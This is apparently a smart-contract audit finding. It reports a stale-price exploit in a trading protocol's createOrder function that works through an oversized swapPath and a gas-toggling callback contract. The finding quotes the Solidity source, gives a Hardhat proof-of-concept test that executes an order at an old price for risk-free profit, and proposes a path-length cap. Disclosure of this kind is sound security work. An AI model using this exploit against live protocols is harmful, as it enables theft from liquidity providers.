Creating an order of type MarketIncrease opens an attack vector where attacker can execute txs with stale prices by inputting a very extense swapPath
The vulnerability relies on the create order function:\\n```\\n    function createOrder(\\n    DataStore dataStore,\\n    EventEmitter eventEmitter,\\n    OrderVault orderVault,\\n    IReferralStorage referralStorage,\\n    address account,\\n    BaseOrderUtils.CreateOrderParams memory params\\n    ) external returns (bytes32) {\\n    ReferralUtils.setTraderReferralCode(referralStorage, account, params.referralCode);\\n\\n    uint256 initialCollateralDeltaAmount;\\n\\n    address wnt = TokenUtils.wnt(dataStore);\\n\\n    bool shouldRecordSeparateExecutionFeeTransfer = true;\\n\\n    if (\\n        params.orderType == Order.OrderType.MarketSwap ||\\n        params.orderType == Order.OrderType.LimitSwap ||\\n        params.orderType == Order.OrderType.MarketIncrease ||\\n        params.orderType == Order.OrderType.LimitIncrease\\n    ) {\\n        initialCollateralDeltaAmount = orderVault.recordTransferIn(params.addresses.initialCollateralToken);\\n        if (params.addresses.initialCollateralToken == wnt) {\\n            if (initialCollateralDeltaAmount < params.numbers.executionFee) {\\n                revert InsufficientWntAmountForExecutionFee(initialCollateralDeltaAmount, params.numbers.executionFee);\\n            }\\n            initialCollateralDeltaAmount -= params.numbers.executionFee;\\n            shouldRecordSeparateExecutionFeeTransfer = false;\\n        }\\n    } else if (\\n        params.orderType == Order.OrderType.MarketDecrease ||\\n        params.orderType == Order.OrderType.LimitDecrease ||\\n        params.orderType == Order.OrderType.StopLossDecrease\\n    ) {\\n        initialCollateralDeltaAmount = params.numbers.initialCollateralDeltaAmount;\\n    } else {\\n        revert OrderTypeCannotBeCreated(params.orderType);\\n    }\\n\\n    if (shouldRecordSeparateExecutionFeeTransfer) {\\n        uint256 wntAmount = orderVault.recordTransferIn(wnt);\\n        if (wntAmount < params.numbers.executionFee) {\\n            revert InsufficientWntAmountForExecutionFee(wntAmount, params.numbers.executionFee);\\n        }\\n\\n        GasUtils.handleExcessExecutionFee(\\n            dataStore,\\n            orderVault,\\n            wntAmount,\\n            params.numbers.executionFee\\n        );\\n    }\\n\\n    // validate swap path markets\\n    MarketUtils.getEnabledMarkets(\\n        dataStore,\\n        params.addresses.swapPath\\n    );\\n\\n    Order.Props memory order;\\n\\n    order.setAccount(account);\\n    order.setReceiver(params.addresses.receiver);\\n    order.setCallbackContract(params.addresses.callbackContract);\\n    order.setMarket(params.addresses.market);\\n    order.setInitialCollateralToken(params.addresses.initialCollateralToken);\\n    order.setSwapPath(params.addresses.swapPath);\\n    order.setOrderType(params.orderType);\\n    order.setDecreasePositionSwapType(params.decreasePositionSwapType);\\n    order.setSizeDeltaUsd(params.numbers.sizeDeltaUsd);\\n    order.setInitialCollateralDeltaAmount(initialCollateralDeltaAmount);\\n    order.setTriggerPrice(params.numbers.triggerPrice);\\n    order.setAcceptablePrice(params.numbers.acceptablePrice);\\n    order.setExecutionFee(params.numbers.executionFee);\\n    order.setCallbackGasLimit(params.numbers.callbackGasLimit);\\n    order.setMinOutputAmount(params.numbers.minOutputAmount);\\n    order.setIsLong(params.isLong);\\n    order.setShouldUnwrapNativeToken(params.shouldUnwrapNativeToken);\\n\\n    ReceiverUtils.validateReceiver(order.receiver());\\n\\n    if (order.initialCollateralDeltaAmount() == 0 && order.sizeDeltaUsd() == 0) {\\n        revert BaseOrderUtils.EmptyOrder();\\n    }\\n\\n    CallbackUtils.validateCallbackGasLimit(dataStore, order.callbackGasLimit());\\n\\n    uint256 estimatedGasLimit = GasUtils.estimateExecuteOrderGasLimit(dataStore, order);\\n    GasUtils.validateExecutionFee(dataStore, estimatedGasLimit, order.executionFee());\\n\\n    bytes32 key = NonceUtils.getNextKey(dataStore);\\n\\n    order.touch();\\n    OrderStoreUtils.set(dataStore, key, order);\\n\\n    OrderEventUtils.emitOrderCreated(eventEmitter, key, order);\\n\\n    return key;\\n}\\n```\\n\\nSpecifically, on a marketIncrease OrderType. Executing an order type of marketIncrease opens an attack path where you can execute transactions with stale prices.\\nThe way to achieve this, is by creating a market increase order and passing a very extensive swapPath in params:\\n```\\n     BaseOrderUtils.CreateOrderParams memory params\\n\\n\\n    struct CreateOrderParams {\\n    CreateOrderParamsAddresses addresses;\\n    CreateOrderParamsNumbers numbers;\\n    Order.OrderType orderType;\\n    Order.DecreasePositionSwapType decreasePositionSwapType;\\n    bool isLong;\\n    bool shouldUnwrapNativeToken;\\n    bytes32 referralCode;\\n   }\\n\\n       struct CreateOrderParamsAddresses {\\n    address receiver;\\n    address callbackContract;\\n    address market;\\n    address initialCollateralToken;\\n    address[] swapPath;     //HEREE   <--------------------------------------------------------\\n    }\\n\\nThe swap path has to be as long as it gets close to the gasLimit of the block.\\n```\\n\\nAfter calling marketIncrease close to gasLimit then using the callback contract that you passed as a param in:\\nan exceeding the block.gasLimit in the callback.\\nAfter "x" amount of blocks, change the gasUsage on the fallback, just that the transaction executes at the prior price.\\nPoC on how to execute the transaction with old pricing:\\n```\\nimport { expect } from "chai";\\nimport { mine } from "@nomicfoundation/hardhat-network-helpers";\\nimport { OrderType, getOrderCount, getOrderKeys, createOrder, executeOrder, handleOrder } from "../utils/order";\\nimport { expandDecimals, decimalToFloat } from "../utils/math";\\nimport { deployFixture } from "../utils/fixture";\\n import { handleDeposit } from "../utils/deposit";\\nimport { getPositionCount, getAccountPositionCount } from "../utils/position";\\n\\ndescribe("Execute transaction with all prices", () => {\\nlet fixture,\\nuser0,\\nuser1,\\nuser2,\\nreader,\\ndataStore,\\nethUsdMarket,\\nethUsdSpotOnlyMarket,\\nwnt,\\nusdc,\\nattackContract,\\noracle,\\ndepositVault,\\nexchangeRouter,\\nswapHandler,\\nexecutionFee;\\n\\n beforeEach(async () => {\\n  fixture = await deployFixture();\\n\\n    ({ user0, user1, user2 } = fixture.accounts);\\n   ({\\n  reader,\\n  dataStore,\\n  oracle,\\n  depositVault,\\n  ethUsdMarket,\\n  ethUsdSpotOnlyMarket,\\n  wnt,\\n  usdc,\\n  attackContract,\\n  exchangeRouter,\\n  swapHandler,\\n  } = fixture.contracts);\\n  ({ executionFee } = fixture.props);\\n\\n   await handleDeposit(fixture, {\\n    create: {\\n    market: ethUsdMarket,\\n    longTokenAmount: expandDecimals(10000000, 18),\\n    shortTokenAmount: expandDecimals(10000000 * 5000, 6),\\n  },\\n   });\\n    await handleDeposit(fixture, {\\n  create: {\\n    market: ethUsdSpotOnlyMarket,\\n    longTokenAmount: expandDecimals(10000000, 18),\\n    shortTokenAmount: expandDecimals(10000000 * 5000, 6),\\n   },\\n   });\\n  });\\n\\n  it("Old price order execution", async () => {\\n  const path = [];\\n const UsdcBal = expandDecimals(50 * 1000, 6);\\n expect(await getOrderCount(dataStore)).eq(0);\\n\\n   for (let i = 0; i < 63; i++) {\\n  if (i % 2 == 0) path.push(ethUsdMarket.marketToken);\\n  else path.push(ethUsdSpotOnlyMarket.marketToken);\\n   }\\n\\n    const params = {\\n    account: attackContract,\\n     callbackContract: attackContract,\\n    callbackGasLimit: 1900000,\\n    market: ethUsdMarket,\\n     minOutputAmount: 0,\\n     initialCollateralToken: usdc, // Collateral will get swapped to ETH by the swapPath -- 50k/$5k = 10 ETH Collateral\\n     initialCollateralDeltaAmount: UsdcBal,\\n   swapPath: path,\\n   sizeDeltaUsd: decimalToFloat(200 * 1000), // 4x leverage -- position size is 40 ETH\\n   acceptablePrice: expandDecimals(5001, 12),\\n    orderType: OrderType.MarketIncrease,\\n    isLong: true,\\n    shouldUnwrapNativeToken: false,\\n    gasUsageLabel: "createOrder",\\n     };\\n\\n  // Create a MarketIncrease order that will run out of gas doing callback\\n  await createOrder(fixture, params);\\n  expect(await getOrderCount(dataStore)).eq(1);\\n  expect(await getAccountPositionCount(dataStore, attackContract.address)).eq(0);\\n   expect(await getPositionCount(dataStore)).eq(0);\\n    expect(await getAccountPositionCount(dataStore, attackContract.address)).eq(0);\\n\\n   await expect(executeOrder(fixture)).to.be.reverted;\\n\\n   await mine(50);\\n\\n   await attackContract.flipSwitch();\\n\\n  expect(await getOrderCount(dataStore)).eq(1);\\n\\n   await executeOrder(fixture, {\\n  minPrices: [expandDecimals(5000, 4), expandDecimals(1, 6)],\\n  maxPrices: [expandDecimals(5000, 4), expandDecimals(1, 6)],\\n   });\\n\\n  expect(await getOrderCount(dataStore)).eq(0);\\n  expect(await getAccountPositionCount(dataStore, attackContract.address)).eq(1);\\n   expect(await getPositionCount(dataStore)).eq(1);\\n\\n   await handleOrder(fixture, {\\n    create: {\\n    account: attackContract,\\n    market: ethUsdMarket,\\n    initialCollateralToken: wnt,\\n    initialCollateralDeltaAmount: 0,\\n    sizeDeltaUsd: decimalToFloat(200 * 1000),\\n    acceptablePrice: 6001,\\n    orderType: OrderType.MarketDecrease,\\n    isLong: true,\\n    gasUsageLabel: "orderHandler.createOrder",\\n    swapPath: [ethUsdMarket.marketToken],\\n   },\\n   execute: {\\n    minPrices: [expandDecimals(6000, 4), expandDecimals(1, 6)],\\n    maxPrices: [expandDecimals(6000, 4), expandDecimals(1, 6)],\\n    gasUsageLabel: "orderHandler.executeOrder",\\n  },\\n  });\\n\\n const WNTAfter = await wnt.balanceOf(attackContract.address);\\n  const UsdcAfter = await usdc.balanceOf(attackContract.address);\\n\\n   expect(UsdcAfter).to.gt(\\n  expandDecimals(100 * 1000, 6)\\n    .mul(999)\\n    .div(1000)\\n  );\\n  expect(UsdcAfter).to.lt(\\n  expandDecimals(100 * 1000, 6)\\n    .mul(1001)\\n    .div(1000)\\n );\\n  expect(WNTAfter).to.eq(0);\\n }).timeout(100000);\\n```\\n
There need to be a way to cap the length of the path to control user input:\\nuint y = 10; require(swapPath.length < y ,"path too long");
The attack would allow to make free trades in terms of risk. You can trade without any risk by conttroling when to execute the transaction
```\\n    function createOrder(\\n    DataStore dataStore,\\n    EventEmitter eventEmitter,\\n    OrderVault orderVault,\\n    IReferralStorage referralStorage,\\n    address account,\\n    BaseOrderUtils.CreateOrderParams memory params\\n    ) external returns (bytes32) {\\n    ReferralUtils.setTraderReferralCode(referralStorage, account, params.referralCode);\\n\\n    uint256 initialCollateralDeltaAmount;\\n\\n    address wnt = TokenUtils.wnt(dataStore);\\n\\n    bool shouldRecordSeparateExecutionFeeTransfer = true;\\n\\n    if (\\n        params.orderType == Order.OrderType.MarketSwap ||\\n        params.orderType == Order.OrderType.LimitSwap ||\\n        params.orderType == Order.OrderType.MarketIncrease ||\\n        params.orderType == Order.OrderType.LimitIncrease\\n    ) {\\n        initialCollateralDeltaAmount = orderVault.recordTransferIn(params.addresses.initialCollateralToken);\\n        if (params.addresses.initialCollateralToken == wnt) {\\n            if (initialCollateralDeltaAmount < params.numbers.executionFee) {\\n                revert InsufficientWntAmountForExecutionFee(initialCollateralDeltaAmount, params.numbers.executionFee);\\n            }\\n            initialCollateralDeltaAmount -= params.numbers.executionFee;\\n            shouldRecordSeparateExecutionFeeTransfer = false;\\n        }\\n    } else if (\\n        params.orderType == Order.OrderType.MarketDecrease ||\\n        params.orderType == Order.OrderType.LimitDecrease ||\\n        params.orderType == Order.OrderType.StopLossDecrease\\n    ) {\\n        initialCollateralDeltaAmount = params.numbers.initialCollateralDeltaAmount;\\n    } else {\\n        revert OrderTypeCannotBeCreated(params.orderType);\\n    }\\n\\n    if (shouldRecordSeparateExecutionFeeTransfer) {\\n        uint256 wntAmount = orderVault.recordTransferIn(wnt);\\n        if (wntAmount < params.numbers.executionFee) {\\n            revert InsufficientWntAmountForExecutionFee(wntAmount, params.numbers.executionFee);\\n        }\\n\\n        GasUtils.handleExcessExecutionFee(\\n            dataStore,\\n            orderVault,\\n            wntAmount,\\n            params.numbers.executionFee\\n        );\\n    }\\n\\n    // validate swap path markets\\n    MarketUtils.getEnabledMarkets(\\n        dataStore,\\n        params.addresses.swapPath\\n    );\\n\\n    Order.Props memory order;\\n\\n    order.setAccount(account);\\n    order.setReceiver(params.addresses.receiver);\\n    order.setCallbackContract(params.addresses.callbackContract);\\n    order.setMarket(params.addresses.market);\\n    order.setInitialCollateralToken(params.addresses.initialCollateralToken);\\n    order.setSwapPath(params.addresses.swapPath);\\n    order.setOrderType(params.orderType);\\n    order.setDecreasePositionSwapType(params.decreasePositionSwapType);\\n    order.setSizeDeltaUsd(params.numbers.sizeDeltaUsd);\\n    order.setInitialCollateralDeltaAmount(initialCollateralDeltaAmount);\\n    order.setTriggerPrice(params.numbers.triggerPrice);\\n    order.setAcceptablePrice(params.numbers.acceptablePrice);\\n    order.setExecutionFee(params.numbers.executionFee);\\n    order.setCallbackGasLimit(params.numbers.callbackGasLimit);\\n    order.setMinOutputAmount(params.numbers.minOutputAmount);\\n    order.setIsLong(params.isLong);\\n    order.setShouldUnwrapNativeToken(params.shouldUnwrapNativeToken);\\n\\n    ReceiverUtils.validateReceiver(order.receiver());\\n\\n    if (order.initialCollateralDeltaAmount() == 0 && order.sizeDeltaUsd() == 0) {\\n        revert BaseOrderUtils.EmptyOrder();\\n    }\\n\\n    CallbackUtils.validateCallbackGasLimit(dataStore, order.callbackGasLimit());\\n\\n    uint256 estimatedGasLimit = GasUtils.estimateExecuteOrderGasLimit(dataStore, order);\\n    GasUtils.validateExecutionFee(dataStore, estimatedGasLimit, order.executionFee());\\n\\n    bytes32 key = NonceUtils.getNextKey(dataStore);\\n\\n    order.touch();\\n    OrderStoreUtils.set(dataStore, key, order);\\n\\n    OrderEventUtils.emitOrderCreated(eventEmitter, key, order);\\n\\n    return key;\\n}\\n```\\n